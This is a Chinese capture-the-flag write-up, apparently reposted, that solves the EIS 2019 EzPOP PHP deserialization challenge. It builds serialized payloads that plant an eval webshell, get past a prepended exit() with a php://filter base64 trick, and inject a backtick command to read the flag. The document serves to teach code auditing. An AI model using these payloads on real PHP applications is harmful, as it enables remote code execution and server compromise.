超超超超超超超超超详细讲解[EIS 2019]EzPOP的多种解

admin 2021年5月10日01:26:12评论123 views字数 5726阅读19分5秒阅读模式

0x01

给了源码,审计开始 gogo!go!

```php
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
    $this-&gt;key = $key;
    $this-&gt;store = $store;
    $this-&gt;expire = $expire;
}

public function cleanContents(array $contents) {
    $cachedProperties = array_flip([
        'path', 'dirname', 'basename', 'extension', 'filename',
        'size', 'mimetype', 'visibility', 'timestamp', 'type',
    ]);

    foreach ($contents as $path =&gt; $object) {
        if (is_array($object)) {
            $contents[$path] = array_intersect_key($object, $cachedProperties);
        }
    }

    return $contents;
}

public function getForStorage() {
    $cleaned = $this-&gt;cleanContents($this-&gt;cache);

    return json_encode([$cleaned, $this-&gt;complete]);
}

public function save() {
    $contents = $this-&gt;getForStorage();

    $this-&gt;store-&gt;set($this-&gt;key, $contents, $this-&gt;expire);
}

public function __destruct() {
    if (!$this-&gt;autosave) {
        $this-&gt;save();
    }
}

}

class B {

protected function getExpireTime($expire): int {
    return (int) $expire;
}

public function getCacheKey(string $name): string {
    return $this-&gt;options['prefix'] . $name;
}

protected function serialize($data): string {
    if (is_numeric($data)) {
        return (string) $data;
    }

    $serialize = $this-&gt;options['serialize'];

    return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
    $this-&gt;writeTimes++;

    if (is_null($expire)) {
        $expire = $this-&gt;options['expire'];
    }

    $expire = $this-&gt;getExpireTime($expire);
    $filename = $this-&gt;getCacheKey($name);

    $dir = dirname($filename);

    if (!is_dir($dir)) {
        try {
            mkdir($dir, 0755, true);
        } catch (Exception $e) {
            // 创建失败
        }
    }

    $data = $this-&gt;serialize($value);

    if ($this-&gt;options['data_compress'] && function_exists('gzcompress')) {
        //数据压缩
        $data = gzcompress($data, 3);
    }

    $data = "&lt;?phpn//" . sprintf('%012d', $expire) . "n exit();?&gt;n" . $data;
    $result = file_put_contents($filename, $data);

    if ($result) {
        return true;
    }

    return false;
}

}

if (isset($_GET['src']))
{
highlight_file(FILE);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

```

​ 我这个最菜web狗做代码审计题通常都是先整体看看代码的大意逻辑,然后再具体看代码的实现过程。在这里先不看两个A、B类,接下来看便是传入src可以看代码,建一个upload文件夹,还有一个unserialize($_GET["data"]);,data是我们传入的,可控,基本上就确定是利用反序列化,通过data传入构造的payload。

​ 审计A类有魔术方法__destruct,B类没有魔术方法,但B类里面有file_put_contents可以写文件,这明摆着就可以写webshell了,爷二话不说开始想。从__destruct开始搞,咱建一个A类,就叫$a吧,$a走的时候触发__destruct

php
public function __destruct() {
if (!$this-&gt;autosave) {
$this-&gt;save();
}
}

$this-&gt;autosave=false就可以触发save()

```php
public function save() {
$contents = $this->getForStorage();

    $this-&gt;store-&gt;set($this-&gt;key, $contents, $this-&gt;expire);

}
```

save里面的$this-&gt;store调用了set,A里面没得set,真巧B里面有set

$this-&gt;store设置为B类,完事,咱跟进B类里面的set

```php
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

    if (is_null($expire)) {
        $expire = $this-&gt;options['expire'];
    }

    $expire = $this-&gt;getExpireTime($expire);
    $filename = $this-&gt;getCacheKey($name);

    $dir = dirname($filename);

    if (!is_dir($dir)) {
        try {
            mkdir($dir, 0755, true);
        } catch (Exception $e) {
            // 创建失败
        }
    }

    $data = $this-&gt;serialize($value);

    if ($this-&gt;options['data_compress'] && function_exists('gzcompress')) {
        //数据压缩
        $data = gzcompress($data, 3);
    }

    $data = "&lt;?phpn//" . sprintf('%012d', $expire) . "n exit();?&gt;n" . $data;
    $result = file_put_contents($filename, $data);

    if ($result) {
        return true;
    }

    return false;

}
```

太乱了,爷看不下去了,来倒着推吧,咱利用$result = file_put_contents($filename, $data);写shell。

先看$filename

```php
$name 是咱在save中传过来的也就是 $this->key

$filename = $this->getCacheKey($name);

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

options数组是B的,可控,$name是a中传的key,可控,完事文件名可控
总结: 文件名是 $this->options['prefix'] . $key
```

再看$data

```php
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

gzcompress根本不存在忽略了,如果不放心可以吧options['data_compress']=falase

$data = $this->serialize($value);
serialize是什么鬼,序列化吗不对劲啊,爷看看
仔细看定义了个serialize函数,最后实现的是return $serialize($data); $serialize = $this->options['serialize']; 这个函数可控啊,先记下来打个星

$value就是A中传的 $contents
$contents又是什么东东,哦,原来是json_encode([$cleaned, $this->complete]);$cleaned设置成空,就是 $this->complete 了。
总结 $data 就是 "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $this->complete;
```

0x02

构造完事,根据上面的分析过有

```php
A:
$store 指向B
$key 文件后缀名 指定就 .php
$expire 没啥用
$this->autosave false
$this->cache 设为空
$this->complete 马

B:
options['prefix'] 文件名
options['serialize'] 方法
options['expire'] 没啥用
options['data_compress'] false

```

构造

```php
$b = new B();
$b->writeTimes = 0;
$b -> options = array('serialize' => "strtoupper",
'data_compress' => false,
'prefix' => "shell");

$a = new A($store = $b, $key = ".php", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = '<?php @eval($_POST["shell"]);?>';

echo urlencode(serialize($a));
```

你会发现执行不了,这是为什么呢因为 $data前面拼接了exit(),根本就执行不了。

超超超超超超超超超详细讲解[EIS 2019]EzPOP的多种解

0x03

绕死亡exit(),可以通过伪协议绕过

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

```php
$b = new B();
$b->writeTimes = 0;
$b -> options = array('serialize' => "trim",
'data_compress' => false,
'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/b");

$a = new A($store = $b, $key = ".php", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = 'aaa'.base64_encode('<?php @eval($_POST["b"]);?>');

这里拼接了aaa 是为了base64能正常解码

echo urlencode(serialize($a));
```

马就上传到uploads/b.php了密码是b

0x04

其他解法

```php
$b = new B();
$b->writeTimes = 0;
$b -> options = array('serialize' => "system",
'data_compress' => false,
'prefix' => "b");

$a = new A($store = $b, $key = ".php", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = 'cat /flag &gt; ./flag.php';

echo urlencode(serialize($a));
```

相当于

php
system('[[],"`cat /flag &gt; ./flag.php`"]')

在shell里执行的时候 反引号 的优先级是高于引号的,所以会先执行cat /flag &gt; ./flag.php,flag就被写到flag.php里面去了

超超超超超超超超超详细讲解[EIS 2019]EzPOP的多种解

如图虽然命令错误,但是仍然正常执行了反引号里的命令

0x05

总结: 入门半年的web狗觉得代码审计真的是太太太难了,当审不下去的时候可以倒过来从可能的利用点思考。还有要多多看大师傅的文章,发现更多的骚操作!!!

参考

https://www.zhaoj.in/read-6397.html
https://www.anquanke.com/post/id/194036
http://www.rayi.vip/2019/11/27/EIS%202019/

相关推荐: 千里之堤溃于蚁穴:CVE-2020-13693

译文声明 本文是翻译文章,文章原作者raphael karger,文章来源:https://b.ou.is 原文地址:https://b.ou.is/articles/2020-05/CVE-2020-13693 前言 在对流行的Wordpress插件进行研究…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月10日01:26:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   超超超超超超超超超详细讲解[EIS 2019]EzPOP的多种解https://cn-sec.com/archives/246516.html